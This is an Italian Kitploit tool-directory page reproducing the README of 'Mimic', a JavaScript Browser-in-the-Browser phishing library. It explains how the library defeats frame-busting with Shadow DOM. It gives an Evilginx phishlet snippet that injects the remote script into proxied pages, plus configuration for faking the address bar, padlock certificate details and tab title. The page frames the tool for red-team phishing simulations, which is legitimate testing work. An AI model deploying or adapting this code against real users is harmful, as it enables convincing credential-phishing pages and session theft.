Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Mimic — Frameless Browser‑in‑the‑Browser (BitB) - Nessun iframe, nessun problema di frame‑busting. Una libreria Shadow DOM / MutationObserver a script singolo per simulazioni di phishing realistiche, facilmente iniettabile tramite proxy inverso. | Kitploit
Strumenti/GitHubGitHub/0x4meliorate/mimic
Strumenti di PhishingStrumenti di ImpersonificazionePhishingSicurezza WebPenetration TestingIngegneria SocialeRed Teaming
GitHub0x4meliorate/mimic

Mimic

Frameless Browser‑in‑the‑Browser (BitB) - Nessun iframe, nessun problema di frame‑busting. Una libreria Shadow DOM / MutationObserver a script singolo per simulazioni di phishing realistiche, facilmente iniettabile tramite proxy inverso.

Vedi Repository
1623 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Mimic

Frameless Browser‑in‑the‑Browser (BitB) - Nessun iframe, nessun problema di frame‑busting. Una libreria Shadow DOM / MutationObserver a script singolo per simulazioni di phishing realistiche, facilmente iniettabile tramite proxy inverso.

mimic

⚠️ Avvertenza: utilizza questo software solo in conformità alla legislazione vigente nel tuo paese. Un uso improprio di questo software può sollevare problemi legali ed etici che non sostengo e per i quali non posso essere ritenuto responsabile.

📖 Breve storia

MalwareMonster e io abbiamo sviluppato una prova di concetto in questa direzione circa sette anni fa, chiamata FISHY. Il progetto ha dimostrato con successo il vettore BitB, sebbene l'usabilità fosse notevolmente limitata. mrd0x ha poi portato questo concetto alla più ampia attenzione della comunità di ricerca sulla sicurezza con il suo progetto BITB circa due anni dopo. Tuttavia, la forte dipendenza dagli iframe si è rivelata incompatibile con le moderne tecniche di frame-busting. Sebbene fosse possibile usare sostituzioni per riscrivere il JavaScript di frame-busting, questo approccio si è dimostrato tedioso e richiedeva continui aggiustamenti.

waelmas ha poi rilasciato frameless-bitb circa 2 anni dopo, introducendo un meccanismo particolarmente ingegnoso. Sostituendo l'iframe con uno Shadow DOM abbinato a un MutationObserver, ha di fatto riassegnato il contenuto di phishing in un div all'interno del documento principale. Fondamentalmente, questo contenuto rimaneva parte del DOM principale invece di risiedere in un frame isolato. Poiché la pagina di phishing era ancora il DOM principale, le routine di frame-busting non venivano mai invocate. Questo ha risolto l'ostacolo tecnico principale, ha rappresentato un passo avanti significativo e ha fornito una solida base concettuale per ulteriori perfezionamenti.

Con quell'innovazione, waelmas ci ha di fatto restituito il testimone. La sua implementazione prevedeva un'architettura più distribuita, che richiedeva l'installazione di servizi, la configurazione di Apache, file HTML, CSS e JavaScript separati, interfacce utente distinte e una selezione statica del sistema operativo (Windows o macOS) senza rilevamento dinamico del browser. Sebbene questi elementi fossero ragionevoli data la natura di prova di concetto, abbiamo riconosciuto che la logica principale di Shadow DOM e MutationObserver poteva essere isolata e iniettata direttamente nel nostro proxy inverso Evilginx tramite un singolo script. Questo ci ha permesso di produrre una libreria JavaScript leggera e senza dipendenze che mostra un finto browser realistico all'interno di qualsiasi pagina web senza iframe, preservando la tecnica di bypass creativo originariamente introdotta da waelmas.

🔍 Cosa fa e come funziona

Mimic crea un finto browser realistico sopra la pagina web corrente, completo di barra degli indirizzi, controlli della finestra, informazioni sul sito, dettagli del certificato, cookie e dati del sito, temi e stile specifico per sistema operativo.

Invece di caricare il sito web target all'interno di un iframe, Mimic prende il DOM effettivo del sito web e lo inietta direttamente nel viewport del finto browser.

Il finto browser stesso vive all'interno di uno Shadow DOM aperto, che isola i suoi stili dal sito web. Il sito web rimane nel light DOM e viene inserito nel finto browser tramite:

root@kitploit:~
<slot name="mimic-content"></slot>

Se non viene fornito alcun content, Mimic acquisisce automaticamente la pagina corrente spostando il contenuto esistente del body in un wrapper interno. Preserva lo stile importante come lo sfondo, il colore del testo, i font, la dimensione del carattere e l'altezza della riga prima di iniettare il sito web nel finto browser.

Poiché il sito web viene spostato nel finto browser anziché incorporato in un altro contesto di navigazione, rimane la vera pagina di primo livello.

Ciò significa che i controlli tradizionali di framebusting basati su iframe come:

root@kitploit:~
if (top !== self) {
  top.location = self.location;
}

non si attivano, perché:

root@kitploit:~
top === self

Il sito web continua a credere di essere la pagina di primo livello. Il suo JavaScript, gli eventi, lo storage, la navigazione e la logica applicativa esistenti continuano a funzionare normalmente mentre la pagina è visivamente contenuta nel finto browser.

Mimic ridimensiona inoltre automaticamente il sito web iniettato per adattarlo al viewport del finto browser. Lo scorrimento è gestito traslando il layer di contenuto, mentre i listener di resize e il MutationObserver rimisurano il contenuto mentre il sito web viene caricato o cambia.

Anche la scheda del browser reale può essere controllata usando documentTitle e documentFavicon. Mimic monitora entrambi i valori e li ripristina se il sito web tenta di modificarli.

Mimic è un incapsulamento visivo, non una sandbox JavaScript. Il sito web iniettato mantiene l'accesso alle API reali di window, document, storage, history e navigazione.

🎣 Integrazione con Evilginx

Aggiungi questo al tuo phishlet YAML per iniettare Mimic:

root@kitploit:~
script: |
  // Inject the BitB script
  (function () {
      window.addEventListener('load', () => {
          var s = document.createElement('script');
          s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
          s.onload = function () {
              openBrowserWindow({ debug: false });
          };
          document.body.appendChild(s);
      });
  })();

⚙️ Configurazione

Le opzioni di configurazione possono essere modificate direttamente nella CONFIG di mimic.js, oppure passate come argomenti quando viene invocata la funzione (openBrowserWindow):

root@kitploit:~
openBrowserWindow({
  // Displayed URL
  domain: 'example.com',
  addressText: '/login',
  scheme: 'https://',

  // Fake browser
  pageTitle: 'Example - Sign in',
  favicon: 'https://example.com/favicon.ico',

  // Real browser tab
  documentTitle: 'Example App',
  documentFavicon: 'https://example.com/app.ico',

  // Content
  // HTMLElement, CSS selector, HTML string, or function
  // Leave empty to capture the current website automatically
  content: '',
  contentWidth: 0,

  // Fake browser size
  windowWidth: 'min(800px, 95vw)',
  windowHeight: 'min(650px, 90vh)',

  // Browser-style links
  learnMoreUrl: 'https://example.com/security',
  siteSettingsUrl: 'https://example.com/settings',

  // Cookie summary
  cookies: {
    sitesAllowed: '5 sites allowed'
  },

  // Behaviour
  autoOpen: false,
  os: null, // null (auto) | 'mac' | 'windows' | 'linux'
  theme: 'auto', // 'auto' | 'light' | 'dark'
  debug: false,
  onClose: null,

  // Landing page
  landing: true, // true | false | custom HTML string
  enterSelector: '#landingpage-enter-btn',

  // On-device site data
  siteData: {
    intro: 'Sites may save activity to your device.',
    manageLinkText: 'Manage site data',
    manageUrl: '',

    sections: [
      {
        title: "Data from the site that you're visiting",
        description: 'Information stored by this site.',

        sites: [
          { name: 'example.com' },
          {
            name: 'cdn.example.com',
            subtitle: 'Additional site information'
          }
        ]
      }
    ]
  },

  // Certificate viewer
  certificate: {
    subject: {
      commonName: 'example.com',
      organisation: 'Example Corporation',
      organisationalUnit: '<Not part of certificate>'
    },

    issuer: {
      commonName: 'Example TLS CA',
      organisation: 'Example Certificate Authority',
      organisationalUnit: '<Not part of certificate>'
    },

    validity: {
      issuedOn: '10 August 2026',
      expiresOn: '18 November 2026'
    },

    fingerprints: {
      certificate: '...',
      publicKey: '...'
    },

    hierarchy: {
      name: 'Example Root CA',
      children: [
        {
          name: 'Example Intermediate CA'
        }
      ]
    },

    fields: {
      name: 'example.com',

      children: [
        {
          name: 'Certificate',

          children: [
            { name: 'Version', value: 'V3' },
            { name: 'Serial Number', value: '...' },
            { name: 'Subject', value: 'CN = example.com' }
          ]
        }
      ]
    }
  }
});

📋 Opzioni

🚀 Esempi

Acquisisci e inietta il sito web corrente:

root@kitploit:~
openBrowserWindow();

Apri senza la landing page:

root@kitploit:~
openBrowserWindow({
  landing: false
});

Apri automaticamente la finestra del finto browser:

root@kitploit:~
openBrowserWindow({
  autoOpen: true
});

Abilita il debug (commutazione di OS e tema):

root@kitploit:~
openBrowserWindow({
  debug: true
});

Sovrascrivi manualmente l'aspetto:

root@kitploit:~
openBrowserWindow({
  os: 'windows',
  theme: 'dark'
});

Imposta il contenuto della finestra del finto browser (Elemento, selettore, stringa HTML o funzione da iniettare nel finto browser):

root@kitploit:~
openBrowserWindow({
  content: '#page-content'
});
Scarica lo strumento
OptionDescription
domainDominio mostrato nella barra degli indirizzi del finto browser
addressTextPercorso e query mostrati dopo il dominio
schemeSchema URL visualizzato
pageTitleTitolo della finestra del finto browser
faviconFavicon del finto browser
documentTitleTitolo della scheda del browser reale
documentFaviconFavicon della scheda del browser reale
contentElemento, selettore, stringa HTML o funzione da iniettare nel finto browser
contentWidthLarghezza di base usata per ridimensionare il sito web iniettato
windowWidthLarghezza del finto browser
windowHeightAltezza del finto browser
learnMoreUrlDestinazione del link Learn More sulla sicurezza
siteSettingsUrlDestinazione per le impostazioni del sito
cookiesConfigurazione del riepilogo dei cookie
autoOpenApre automaticamente il finto browser quando viene creata la landing page
osnull, mac, windows o linux; null usa il rilevamento automatico
themeauto, light o dark
debugMostra il selettore di OS e tema
onCloseFunzione chiamata quando il finto browser viene chiuso
landingAbilita, disabilita o sostituisce la landing page
enterSelectorSelettore per l'elemento della landing page che apre il finto browser
siteDataConfigura la finestra di dialogo dei dati del sito sul dispositivo
certificateConfigura il visualizzatore di certificati